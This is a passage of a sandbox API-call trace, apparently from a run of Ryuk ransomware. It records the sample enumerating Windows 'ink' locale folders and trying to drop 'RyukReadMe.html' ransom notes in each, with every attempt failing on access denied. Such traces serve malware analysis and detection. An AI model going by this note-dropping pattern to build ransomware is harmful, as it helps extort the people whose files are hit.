	[0130.979] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0130.979] GetLastError () returned 0x5
	[0130.980] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0130.980] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0130.980] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0130.980] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0130.981] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0130.981] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0130.981] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0130.981] SetLastError (dwErrCode=0x0) 
	[0130.981] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0130.981] GetLastError () returned 0x5
	[0130.981] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0130.981] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0130.982] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0130.982] SetLastError (dwErrCode=0x0) 
	[0130.982] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0130.982] GetLastError () returned 0x5
	[0130.982] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0130.982] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0130.982] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0130.983] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0130.983] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0130.983] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0130.983] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0130.984] SetLastError (dwErrCode=0x0) 
	[0130.984] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0130.984] GetLastError () returned 0x5
	[0130.984] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0130.984] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0130.984] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0130.984] SetLastError (dwErrCode=0x0) 
	[0130.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0130.985] GetLastError () returned 0x5
	[0130.985] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0130.985] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0130.985] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0131.115] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0131.115] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0131.115] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0131.115] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0131.116] SetLastError (dwErrCode=0x0) 
	[0131.116] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.116] GetLastError () returned 0x5
	[0131.116] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0131.116] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.116] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0131.116] SetLastError (dwErrCode=0x0) 
	[0131.116] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.117] GetLastError () returned 0x5
	[0131.117] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0131.117] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.117] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0131.118] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0131.118] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0131.118] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0131.118] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0131.118] SetLastError (dwErrCode=0x0) 
	[0131.119] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.119] GetLastError () returned 0x5
	[0131.119] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0131.119] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.119] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0131.119] SetLastError (dwErrCode=0x0) 
	[0131.119] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.120] GetLastError () returned 0x5
	[0131.120] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0131.120] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.120] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0131.121] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0131.121] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0131.121] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0131.121] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0131.121] SetLastError (dwErrCode=0x0) 
	[0131.121] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.122] GetLastError () returned 0x5
	[0131.122] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0131.122] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.122] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1
	[0131.122] SetLastError (dwErrCode=0x0) 
	[0131.122] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.122] GetLastError () returned 0x5
	[0131.122] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0131.122] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.123] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0131.123] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0131.123] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0131.123] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0131.124] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0131.124] SetLastError (dwErrCode=0x0) 
	[0131.124] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.124] GetLastError () returned 0x5
	[0131.124] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0131.124] CloseHandle (hObject=0xffffffffffffffff) returned 0
